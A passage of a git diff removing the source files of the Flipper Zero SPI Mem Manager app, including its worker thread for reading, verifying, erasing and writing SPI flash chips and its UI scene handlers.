worker->mode_index = SPIMemWorkerModeRead; - if(flags & SPIMemEventVerify) worker->mode_index = SPIMemWorkerModeVerify; - if(flags & SPIMemEventErase) worker->mode_index = SPIMemWorkerModeErase; - if(flags & SPIMemEventWrite) worker->mode_index = SPIMemWorkerModeWrite; - if(spi_mem_worker_modes[worker->mode_index].process) { - spi_mem_worker_modes[worker->mode_index].process(worker); - } - worker->mode_index = SPIMemWorkerModeIdle; - } - } - return 0; -} - -void spi_mem_worker_start_thread(SPIMemWorker* worker) { - furi_thread_start(worker->thread); -} - -void spi_mem_worker_stop_thread(SPIMemWorker* worker) { - furi_thread_flags_set(furi_thread_get_id(worker->thread), SPIMemEventStopThread); - furi_thread_join(worker->thread); -} - -void spi_mem_worker_chip_detect_start( - SPIMemChip* chip_info, - found_chips_t* found_chips, - SPIMemWorker* worker, - SPIMemWorkerCallback callback, - void* context) { - furi_check(worker->mode_index == SPIMemWorkerModeIdle); - worker->callback = callback; - worker->cb_ctx = context; - worker->chip_info = chip_info; - worker->found_chips = found_chips; - furi_thread_flags_set(furi_thread_get_id(worker->thread), SPIMemEventChipDetect); -} - -void spi_mem_worker_read_start( - SPIMemChip* chip_info, - SPIMemWorker* worker, - SPIMemWorkerCallback callback, - void* context) { - furi_check(worker->mode_index == SPIMemWorkerModeIdle); - worker->callback = callback; - worker->cb_ctx = context; - worker->chip_info = chip_info; - furi_thread_flags_set(furi_thread_get_id(worker->thread), SPIMemEventRead); -} - -void spi_mem_worker_verify_start( - SPIMemChip* chip_info, - SPIMemWorker* worker, - SPIMemWorkerCallback callback, - void* context) { - furi_check(worker->mode_index == SPIMemWorkerModeIdle); - worker->callback = callback; - worker->cb_ctx = context; - worker->chip_info = chip_info; - furi_thread_flags_set(furi_thread_get_id(worker->thread), SPIMemEventVerify); -} - -void spi_mem_worker_erase_start( - SPIMemChip* chip_info, - SPIMemWorker* worker, - SPIMemWorkerCallback callback, - void* context) { - furi_check(worker->mode_index == SPIMemWorkerModeIdle); - worker->callback = callback; - worker->cb_ctx = context; - worker->chip_info = chip_info; - furi_thread_flags_set(furi_thread_get_id(worker->thread), SPIMemEventErase); -} - -void spi_mem_worker_write_start( - SPIMemChip* chip_info, - SPIMemWorker* worker, - SPIMemWorkerCallback callback, - void* context) { - furi_check(worker->mode_index == SPIMemWorkerModeIdle); - worker->callback = callback; - worker->cb_ctx = context; - worker->chip_info = chip_info; - furi_thread_flags_set(furi_thread_get_id(worker->thread), SPIMemEventWrite); -} diff --git a/applications/external/spi_mem_manager/lib/spi/spi_mem_worker.h b/applications/external/spi_mem_manager/lib/spi/spi_mem_worker.h deleted file mode 100644 index c3761cd5a..000000000 --- a/applications/external/spi_mem_manager/lib/spi/spi_mem_worker.h +++ /dev/null @@ -1,54 +0,0 @@ -#pragma once - -#include -#include "spi_mem_chip.h" - -typedef struct SPIMemWorker SPIMemWorker; - -typedef struct { - void (*const process)(SPIMemWorker* worker); -} SPIMemWorkerModeType; - -typedef enum { - SPIMemCustomEventWorkerChipIdentified, - SPIMemCustomEventWorkerChipUnknown, - SPIMemCustomEventWorkerBlockReaded, - SPIMemCustomEventWorkerChipFail, - SPIMemCustomEventWorkerFileFail, - SPIMemCustomEventWorkerDone, - SPIMemCustomEventWorkerVerifyFail, -} SPIMemCustomEventWorker; - -typedef void (*SPIMemWorkerCallback)(void* context, SPIMemCustomEventWorker event); - -SPIMemWorker* spi_mem_worker_alloc(); -void spi_mem_worker_free(SPIMemWorker* worker); -void spi_mem_worker_start_thread(SPIMemWorker* worker); -void spi_mem_worker_stop_thread(SPIMemWorker* worker); -bool spi_mem_worker_check_for_stop(SPIMemWorker* worker); -void spi_mem_worker_chip_detect_start( - SPIMemChip* chip_info, - found_chips_t* found_chips, - SPIMemWorker* worker, - SPIMemWorkerCallback callback, - void* context); -void spi_mem_worker_read_start( - SPIMemChip* chip_info, - SPIMemWorker* worker, - SPIMemWorkerCallback callback, - void* context); -void spi_mem_worker_verify_start( - SPIMemChip* chip_info, - SPIMemWorker* worker, - SPIMemWorkerCallback callback, - void* context); -void spi_mem_worker_erase_start( - SPIMemChip* chip_info, - SPIMemWorker* worker, - SPIMemWorkerCallback callback, - void* context); -void spi_mem_worker_write_start( - SPIMemChip* chip_info, - SPIMemWorker* worker, - SPIMemWorkerCallback callback, - void* context); diff --git a/applications/external/spi_mem_manager/lib/spi/spi_mem_worker_i.h b/applications/external/spi_mem_manager/lib/spi/spi_mem_worker_i.h deleted file mode 100644 index 43e2d2287..000000000 --- a/applications/external/spi_mem_manager/lib/spi/spi_mem_worker_i.h +++ /dev/null @@ -1,24 +0,0 @@ -#pragma once - -#include "spi_mem_worker.h" - -typedef enum { - SPIMemWorkerModeIdle, - SPIMemWorkerModeChipDetect, - SPIMemWorkerModeRead, - SPIMemWorkerModeVerify, - SPIMemWorkerModeErase, - SPIMemWorkerModeWrite -} SPIMemWorkerMode; - -struct SPIMemWorker { - SPIMemChip* chip_info; - found_chips_t* found_chips; - SPIMemWorkerMode mode_index; - SPIMemWorkerCallback callback; - void* cb_ctx; - FuriThread* thread; - FuriString* file_name; -}; - -extern const SPIMemWorkerModeType spi_mem_worker_modes[]; diff --git a/applications/external/spi_mem_manager/lib/spi/spi_mem_worker_modes.c b/applications/external/spi_mem_manager/lib/spi/spi_mem_worker_modes.c deleted file mode 100644 index a393e5490..000000000 --- a/applications/external/spi_mem_manager/lib/spi/spi_mem_worker_modes.c +++ /dev/null @@ -1,214 +0,0 @@ -#include "spi_mem_worker_i.h" -#include "spi_mem_chip.h" -#include "spi_mem_tools.h" -#include "../../spi_mem_files.h" - -static void spi_mem_worker_chip_detect_process(SPIMemWorker* worker); -static void spi_mem_worker_read_process(SPIMemWorker* worker); -static void spi_mem_worker_verify_process(SPIMemWorker* worker); -static void spi_mem_worker_erase_process(SPIMemWorker* worker); -static void spi_mem_worker_write_process(SPIMemWorker* worker); - -const SPIMemWorkerModeType spi_mem_worker_modes[] = { - [SPIMemWorkerModeIdle] = {.process = NULL}, - [SPIMemWorkerModeChipDetect] = {.process = spi_mem_worker_chip_detect_process}, - [SPIMemWorkerModeRead] = {.process = spi_mem_worker_read_process}, - [SPIMemWorkerModeVerify] = {.process = spi_mem_worker_verify_process}, - [SPIMemWorkerModeErase] = {.process = spi_mem_worker_erase_process}, - [SPIMemWorkerModeWrite] = {.process = spi_mem_worker_write_process}}; - -static void spi_mem_worker_run_callback(SPIMemWorker* worker, SPIMemCustomEventWorker event) { - if(worker->callback) { - worker->callback(worker->cb_ctx, event); - } -} - -static bool spi_mem_worker_await_chip_busy(SPIMemWorker* worker) { - while(true) { - furi_delay_tick(10); // to give some time to OS - if(spi_mem_worker_check_for_stop(worker)) return true; - SPIMemChipStatus chip_status = spi_mem_tools_get_chip_status(worker->chip_info); - if(chip_status == SPIMemChipStatusError) return false; - if(chip_status == SPIMemChipStatusBusy) continue; - return true; - } -} - -static size_t spi_mem_worker_modes_get_total_size(SPIMemWorker* worker) { - size_t chip_size = spi_mem_chip_get_size(worker->chip_info); - size_t file_size = spi_mem_file_get_size(worker->cb_ctx); - size_t total_size = chip_size; - if(chip_size > file_size) total_size = file_size; - return total_size; -} - -// ChipDetect -static void spi_mem_worker_chip_detect_process(SPIMemWorker* worker) { - SPIMemCustomEventWorker event; - while(!spi_mem_tools_read_chip_info(worker->chip_info)) { - furi_delay_tick(10); // to give some time to OS - if(spi_mem_worker_check_for_stop(worker)) return; - } - if(spi_mem_chip_find_all(worker->chip_info, *worker->found_chips)) { - event = SPIMemCustomEventWorkerChipIdentified; - } else { - event = SPIMemCustomEventWorkerChipUnknown; - } - spi_mem_worker_run_callback(worker, event); -} - -// Read -static bool spi_mem_worker_read(SPIMemWorker* worker, SPIMemCustomEventWorker* event) { - uint8_t data_buffer[SPI_MEM_FILE_BUFFER_SIZE]; - size_t chip_size = spi_mem_chip_get_size(worker->chip_info); - size_t offset = 0; - bool success = true; - while(true) { - furi_delay_tick(10); // to give some time to OS - size_t block_size = SPI_MEM_FILE_BUFFER_SIZE; - if(spi_mem_worker_check_for_stop(worker)) break; - if(offset >= chip_size) break; - if((offset + block_size) > chip_size) block_size = chip_size - offset; - if(!spi_mem_tools_read_block(worker->chip_info, offset, data_buffer, block_size)) { - *event = SPIMemCustomEventWorkerChipFail; - success = false; - break; - } - if(!spi_mem_file_write_block(worker->cb_ctx, data_buffer, block_size)) { - success = false; - break; - } - offset += block_size; - spi_mem_worker_run_callback(worker, SPIMemCustomEventWorkerBlockReaded); - } - if(success) *event = SPIMemCustomEventWorkerDone; - return success; -} - -static void spi_mem_worker_read_process(SPIMemWorker* worker) { - SPIMemCustomEventWorker event = SPIMemCustomEventWorkerFileFail; - do { - if(!spi_mem_worker_await_chip_busy(worker)) break; - if(!spi_mem_file_create_open(worker->cb_ctx)) break; - if(!spi_mem_worker_read(worker, &event)) break; - } while(0); - spi_mem_file_close(worker->cb_ctx); - spi_mem_worker_run_callback(worker, event); -} - -// Verify -static bool - spi_mem_worker_verify(SPIMemWorker* worker, size_t total_size, SPIMemCustomEventWorker* event) { - uint8_t data_buffer_chip[SPI_MEM_FILE_BUFFER_SIZE]; - uint8_t data_buffer_file[SPI_MEM_FILE_BUFFER_SIZE]; - size_t offset = 0; - bool success = true; - while(true) { - furi_delay_tick(10); // to give some time to OS - size_t block_size = SPI_MEM_FILE_BUFFER_SIZE; - if(spi_mem_worker_check_for_stop(worker)) break; - if(offset >= total_size) break; - if((offset + block_size) > total_size) block_size = total_size - offset; - if(!spi_mem_tools_read_block(worker->chip_info, offset, data_buffer_chip, block_size)) { - *event = SPIMemCustomEventWorkerChipFail; - success = false; - break; - } - if(!spi_mem_file_read_block(worker->cb_ctx, data_buffer_file, block_size)) { - success = false; - break; - } - if(memcmp(data_buffer_chip, data_buffer_file, block_size) != 0) { - *event = SPIMemCustomEventWorkerVerifyFail; - success = false; - break; - } - offset += block_size; - spi_mem_worker_run_callback(worker, SPIMemCustomEventWorkerBlockReaded); - } - if(success) *event = SPIMemCustomEventWorkerDone; - return success; -} - -static void spi_mem_worker_verify_process(SPIMemWorker* worker) { - SPIMemCustomEventWorker event = SPIMemCustomEventWorkerFileFail; - size_t total_size = spi_mem_worker_modes_get_total_size(worker); - do { - if(!spi_mem_worker_await_chip_busy(worker)) break; - if(!spi_mem_file_open(worker->cb_ctx)) break; - if(!spi_mem_worker_verify(worker, total_size, &event)) break; - } while(0); - spi_mem_file_close(worker->cb_ctx); - spi_mem_worker_run_callback(worker, event); -} - -// Erase -static void spi_mem_worker_erase_process(SPIMemWorker* worker) { - SPIMemCustomEventWorker event = SPIMemCustomEventWorkerChipFail; - do { - if(!spi_mem_worker_await_chip_busy(worker)) break; - if(!spi_mem_tools_erase_chip(worker->chip_info)) break; - if(!spi_mem_worker_await_chip_busy(worker)) break; - event = SPIMemCustomEventWorkerDone; - } while(0); - spi_mem_worker_run_callback(worker, event); -} - -// Write -static bool spi_mem_worker_write_block_by_page( - SPIMemWorker* worker, - size_t offset, - uint8_t* data, - size_t block_size, - size_t page_size) { - for(size_t i = 0; i < block_size; i += page_size) { - if(!spi_mem_worker_await_chip_busy(worker)) return false; - if(!spi_mem_tools_write_bytes(worker->chip_info, offset, data, page_size)) return false; - offset += page_size; - data += page_size; - } - return true; -} - -static bool - spi_mem_worker_write(SPIMemWorker* worker, size_t total_size, SPIMemCustomEventWorker* event) { - bool success = true; - uint8_t data_buffer[SPI_MEM_FILE_BUFFER_SIZE]; - size_t page_size = spi_mem_chip_get_page_size(worker->chip_info); - size_t offset = 0; - while(true) { - furi_delay_tick(10); // to give some time to OS - size_t block_size = SPI_MEM_FILE_BUFFER_SIZE; - if(spi_mem_worker_check_for_stop(worker)) break; - if(offset >= total_size) break; - if((offset + block_size) > total_size) block_size = total_size - offset; - if(!spi_mem_file_read_block(worker->cb_ctx, data_buffer, block_size)) { - *event = SPIMemCustomEventWorkerFileFail; - success = false; - break; - } - if(!spi_mem_worker_write_block_by_page( - worker, offset, data_buffer, block_size, page_size)) { - success = false; - break; - } - offset += block_size; - spi_mem_worker_run_callback(worker, SPIMemCustomEventWorkerBlockReaded); - } - return success; -} - -static void spi_mem_worker_write_process(SPIMemWorker* worker) { - SPIMemCustomEventWorker event = SPIMemCustomEventWorkerChipFail; - size_t total_size = - spi_mem_worker_modes_get_total_size(worker); // need to be executed before opening file - do { - if(!spi_mem_file_open(worker->cb_ctx)) break; - if(!spi_mem_worker_await_chip_busy(worker)) break; - if(!spi_mem_worker_write(worker, total_size, &event)) break; - if(!spi_mem_worker_await_chip_busy(worker)) break; - event = SPIMemCustomEventWorkerDone; - } while(0); - spi_mem_file_close(worker->cb_ctx); - spi_mem_worker_run_callback(worker, event); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene.c deleted file mode 100644 index 7780005f4..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "spi_mem_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const spi_mem_on_enter_handlers[])(void*) = { -#include "spi_mem_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const spi_mem_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "spi_mem_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const spi_mem_on_exit_handlers[])(void* context) = { -#include "spi_mem_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers spi_mem_scene_handlers = { - .on_enter_handlers = spi_mem_on_enter_handlers, - .on_event_handlers = spi_mem_on_event_handlers, - .on_exit_handlers = spi_mem_on_exit_handlers, - .scene_num = SPIMemSceneNum, -}; diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene.h b/applications/external/spi_mem_manager/scenes/spi_mem_scene.h deleted file mode 100644 index 2ac6d21e3..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) SPIMemScene##id, -typedef enum { -#include "spi_mem_scene_config.h" - SPIMemSceneNum, -} SPIMemScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers spi_mem_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "spi_mem_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "spi_mem_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "spi_mem_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_about.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_about.c deleted file mode 100644 index dc0cc4fe4..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_about.c +++ /dev/null @@ -1,42 +0,0 @@ -#include "../spi_mem_app_i.h" -#include "../lib/spi/spi_mem_chip.h" - -#define SPI_MEM_VERSION_APP "0.1.0" -#define SPI_MEM_DEVELOPER "DrunkBatya" -#define SPI_MEM_GITHUB "https://github.com/flipperdevices/flipperzero-firmware" -#define SPI_MEM_NAME "\e#\e! SPI Mem Manager \e!\n" -#define SPI_MEM_BLANK_INV "\e#\e! \e!\n" - -void spi_mem_scene_about_on_enter(void* context) { - SPIMemApp* app = context; - FuriString* tmp_string = furi_string_alloc(); - - widget_add_text_box_element( - app->widget, 0, 0, 128, 14, AlignCenter, AlignBottom, SPI_MEM_BLANK_INV, false); - widget_add_text_box_element( - app->widget, 0, 2, 128, 14, AlignCenter, AlignBottom, SPI_MEM_NAME, false); - furi_string_printf(tmp_string, "\e#%s\n", "Information"); - furi_string_cat_printf(tmp_string, "Version: %s\n", SPI_MEM_VERSION_APP); - furi_string_cat_printf(tmp_string, "Developed by: %s\n", SPI_MEM_DEVELOPER); - furi_string_cat_printf(tmp_string, "Github: %s\n\n", SPI_MEM_GITHUB); - furi_string_cat_printf(tmp_string, "\e#%s\n", "Description"); - furi_string_cat_printf( - tmp_string, - "SPI memory dumper\n" - "Originally written by Hedger, ghettorce and x893 at\n" - "Flipper Hackathon 2021\n\n"); - widget_add_text_scroll_element(app->widget, 0, 16, 128, 50, furi_string_get_cstr(tmp_string)); - - furi_string_free(tmp_string); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewWidget); -} - -bool spi_mem_scene_about_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} -void spi_mem_scene_about_on_exit(void* context) { - SPIMemApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detect.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detect.c deleted file mode 100644 index d9b8f0aa3..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detect.c +++ /dev/null @@ -1,37 +0,0 @@ -#include "../spi_mem_app_i.h" - -static void spi_mem_scene_chip_detect_callback(void* context, SPIMemCustomEventWorker event) { - SPIMemApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void spi_mem_scene_chip_detect_on_enter(void* context) { - SPIMemApp* app = context; - notification_message(app->notifications, &sequence_blink_start_yellow); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewDetect); - spi_mem_worker_start_thread(app->worker); - spi_mem_worker_chip_detect_start( - app->chip_info, &app->found_chips, app->worker, spi_mem_scene_chip_detect_callback, app); -} - -bool spi_mem_scene_chip_detect_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == SPIMemCustomEventWorkerChipIdentified) { - scene_manager_set_scene_state(app->scene_manager, SPIMemSceneSelectVendor, 0); - scene_manager_next_scene(app->scene_manager, SPIMemSceneSelectVendor); - } else if(event.event == SPIMemCustomEventWorkerChipUnknown) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneChipDetectFail); - } - } - return success; -} - -void spi_mem_scene_chip_detect_on_exit(void* context) { - SPIMemApp* app = context; - spi_mem_worker_stop_thread(app->worker); - notification_message(app->notifications, &sequence_blink_stop); - popup_reset(app->popup); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detect_fail.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detect_fail.c deleted file mode 100644 index 876a28721..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detect_fail.c +++ /dev/null @@ -1,57 +0,0 @@ -#include "../spi_mem_app_i.h" -#include "../lib/spi/spi_mem_chip.h" - -static void spi_mem_scene_chip_detect_fail_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - SPIMemApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -void spi_mem_scene_chip_detect_fail_on_enter(void* context) { - SPIMemApp* app = context; - FuriString* str = furi_string_alloc(); - widget_add_button_element( - app->widget, - GuiButtonTypeCenter, - "Retry", - spi_mem_scene_chip_detect_fail_widget_callback, - app); - widget_add_string_element( - app->widget, 64, 9, AlignCenter, AlignBottom, FontPrimary, "Detected"); - widget_add_string_element( - app->widget, 64, 20, AlignCenter, AlignBottom, FontPrimary, "unknown SPI chip"); - furi_string_printf(str, "Vendor\nid: 0x%02X", spi_mem_chip_get_vendor_id(app->chip_info)); - widget_add_string_multiline_element( - app->widget, 16, 44, AlignCenter, AlignBottom, FontSecondary, furi_string_get_cstr(str)); - furi_string_printf(str, "Type\nid: 0x%02X", spi_mem_chip_get_type_id(app->chip_info)); - widget_add_string_multiline_element( - app->widget, 64, 44, AlignCenter, AlignBottom, FontSecondary, furi_string_get_cstr(str)); - furi_string_printf(str, "Capacity\nid: 0x%02X", spi_mem_chip_get_capacity_id(app->chip_info)); - widget_add_string_multiline_element( - app->widget, 110, 44, AlignCenter, AlignBottom, FontSecondary, furi_string_get_cstr(str)); - furi_string_free(str); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewWidget); -} - -bool spi_mem_scene_chip_detect_fail_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeBack) { - success = true; - scene_manager_search_and_switch_to_previous_scene(app->scene_manager, SPIMemSceneStart); - } else if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == GuiButtonTypeCenter) { - scene_manager_previous_scene(app->scene_manager); - } - } - return success; -} -void spi_mem_scene_chip_detect_fail_on_exit(void* context) { - SPIMemApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detected.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detected.c deleted file mode 100644 index 539578a45..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detected.c +++ /dev/null @@ -1,94 +0,0 @@ -#include "../spi_mem_app_i.h" - -static void spi_mem_scene_chip_detected_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - SPIMemApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -static void spi_mem_scene_chip_detected_print_chip_info(Widget* widget, SPIMemChip* chip_info) { - FuriString* tmp_string = furi_string_alloc(); - widget_add_string_element( - widget, - 40, - 12, - AlignLeft, - AlignTop, - FontSecondary, - spi_mem_chip_get_vendor_name(chip_info)); - widget_add_string_element( - widget, 40, 20, AlignLeft, AlignTop, FontSecondary, spi_mem_chip_get_model_name(chip_info)); - furi_string_printf(tmp_string, "Size: %zu KB", spi_mem_chip_get_size(chip_info) / 1024); - widget_add_string_element( - widget, 40, 28, AlignLeft, AlignTop, FontSecondary, furi_string_get_cstr(tmp_string)); - furi_string_free(tmp_string); -} - -static void spi_mem_scene_chip_detect_draw_next_button(SPIMemApp* app) { - FuriString* str = furi_string_alloc(); - if(app->mode == SPIMemModeRead) furi_string_printf(str, "%s", "Read"); - if(app->mode == SPIMemModeWrite) furi_string_printf(str, "%s", "Write"); - if(app->mode == SPIMemModeErase) furi_string_printf(str, "%s", "Erase"); - if(app->mode == SPIMemModeCompare) furi_string_printf(str, "%s", "Check"); - widget_add_button_element( - app->widget, - GuiButtonTypeRight, - furi_string_get_cstr(str), - spi_mem_scene_chip_detected_widget_callback, - app); - furi_string_free(str); -} - -static void spi_mem_scene_chip_detected_set_previous_scene(SPIMemApp* app) { - uint32_t scene = SPIMemSceneStart; - if(app->mode == SPIMemModeCompare || app->mode == SPIMemModeWrite) - scene = SPIMemSceneSavedFileMenu; - scene_manager_search_and_switch_to_previous_scene(app->scene_manager, scene); -} - -static void spi_mem_scene_chip_detected_set_next_scene(SPIMemApp* app) { - uint32_t scene = SPIMemSceneStart; - if(app->mode == SPIMemModeRead) scene = SPIMemSceneReadFilename; - if(app->mode == SPIMemModeWrite) scene = SPIMemSceneErase; - if(app->mode == SPIMemModeErase) scene = SPIMemSceneErase; - if(app->mode == SPIMemModeCompare) scene = SPIMemSceneVerify; - scene_manager_next_scene(app->scene_manager, scene); -} - -void spi_mem_scene_chip_detected_on_enter(void* context) { - SPIMemApp* app = context; - widget_add_button_element( - app->widget, GuiButtonTypeLeft, "Retry", spi_mem_scene_chip_detected_widget_callback, app); - spi_mem_scene_chip_detect_draw_next_button(app); - widget_add_icon_element(app->widget, 0, 12, &I_Dip8_32x36); - widget_add_string_element( - app->widget, 64, 9, AlignCenter, AlignBottom, FontPrimary, "Detected SPI chip"); - spi_mem_scene_chip_detected_print_chip_info(app->widget, app->chip_info); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewWidget); -} - -bool spi_mem_scene_chip_detected_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeBack) { - success = true; - spi_mem_scene_chip_detected_set_previous_scene(app); - } else if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == GuiButtonTypeLeft) { - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, SPIMemSceneChipDetect); - } else if(event.event == GuiButtonTypeRight) { - spi_mem_scene_chip_detected_set_next_scene(app); - } - } - return success; -} -void spi_mem_scene_chip_detected_on_exit(void* context) { - SPIMemApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_error.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_error.c deleted file mode 100644 index ca4b765a2..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_error.c +++ /dev/null @@ -1,52 +0,0 @@ -#include "../spi_mem_app_i.h" - -static void - spi_mem_scene_chip_error_widget_callback(GuiButtonType result, InputType type, void* context) { - SPIMemApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -void spi_mem_scene_chip_error_on_enter(void* context) { - SPIMemApp* app = context; - widget_add_button_element( - app->widget, GuiButtonTypeLeft, "Back", spi_mem_scene_chip_error_widget_callback, app); - widget_add_string_element( - app->widget, 85, 15, AlignCenter, AlignBottom, FontPrimary, "SPI chip error"); - widget_add_string_multiline_element( - app->widget, - 85, - 52, - AlignCenter, - AlignBottom, - FontSecondary, - "Error while\ncommunicating\nwith chip"); - widget_add_icon_element(app->widget, 5, 6, &I_Dip8_32x36); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewWidget); -} - -static void spi_mem_scene_chip_error_set_previous_scene(SPIMemApp* app) { - uint32_t scene = SPIMemSceneChipDetect; - if(app->mode == SPIMemModeRead || app->mode == SPIMemModeErase) scene = SPIMemSceneStart; - scene_manager_search_and_switch_to_previous_scene(app->scene_manager, scene); -} - -bool spi_mem_scene_chip_error_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeBack) { - success = true; - spi_mem_scene_chip_error_set_previous_scene(app); - } else if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == GuiButtonTypeLeft) { - spi_mem_scene_chip_error_set_previous_scene(app); - } - } - return success; -} -void spi_mem_scene_chip_error_on_exit(void* context) { - SPIMemApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_config.h b/applications/external/spi_mem_manager/scenes/spi_mem_scene_config.h deleted file mode 100644 index c0e377303..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_config.h +++ /dev/null @@ -1,21 +0,0 @@ -ADD_SCENE(spi_mem, start, Start) -ADD_SCENE(spi_mem, chip_detect, ChipDetect) -ADD_SCENE(spi_mem, chip_detected, ChipDetected) -ADD_SCENE(spi_mem, chip_detect_fail, ChipDetectFail) -ADD_SCENE(spi_mem, select_file, SelectFile) -ADD_SCENE(spi_mem, saved_file_menu, SavedFileMenu) -ADD_SCENE(spi_mem, read, Read) -ADD_SCENE(spi_mem, read_filename, ReadFilename) -ADD_SCENE(spi_mem, delete_confirm, DeleteConfirm) -ADD_SCENE(spi_mem, success, Success) -ADD_SCENE(spi_mem, about, About) -ADD_SCENE(spi_mem, verify, Verify) -ADD_SCENE(spi_mem, file_info, FileInfo) -ADD_SCENE(spi_mem, erase, Erase) -ADD_SCENE(spi_mem, chip_error, ChipError) -ADD_SCENE(spi_mem, verify_error, VerifyError) -ADD_SCENE(spi_mem, write, Write) -ADD_SCENE(spi_mem, storage_error, StorageError) -ADD_SCENE(spi_mem, select_vendor, SelectVendor) -ADD_SCENE(spi_mem, select_model, SelectModel) -ADD_SCENE(spi_mem, wiring, Wiring) diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_delete_confirm.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_delete_confirm.c deleted file mode 100644 index bb5142452..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_delete_confirm.c +++ /dev/null @@ -1,62 +0,0 @@ -#include "../spi_mem_app_i.h" -#include "../spi_mem_files.h" - -static void spi_mem_scene_delete_confirm_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - SPIMemApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -void spi_mem_scene_delete_confirm_on_enter(void* context) { - SPIMemApp* app = context; - FuriString* file_name = furi_string_alloc(); - FuriString* message = furi_string_alloc(); - path_extract_filename(app->file_path, file_name, true); - furi_string_printf(message, "\e#Delete %s?\e#", furi_string_get_cstr(file_name)); - widget_add_text_box_element( - app->widget, 0, 0, 128, 27, AlignCenter, AlignCenter, furi_string_get_cstr(message), true); - widget_add_button_element( - app->widget, - GuiButtonTypeLeft, - "Cancel", - spi_mem_scene_delete_confirm_widget_callback, - app); - widget_add_button_element( - app->widget, - GuiButtonTypeRight, - "Delete", - spi_mem_scene_delete_confirm_widget_callback, - app); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewWidget); - furi_string_free(file_name); - furi_string_free(message); -} - -bool spi_mem_scene_delete_confirm_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == GuiButtonTypeRight) { - app->mode = SPIMemModeDelete; - if(spi_mem_file_delete(app)) { - 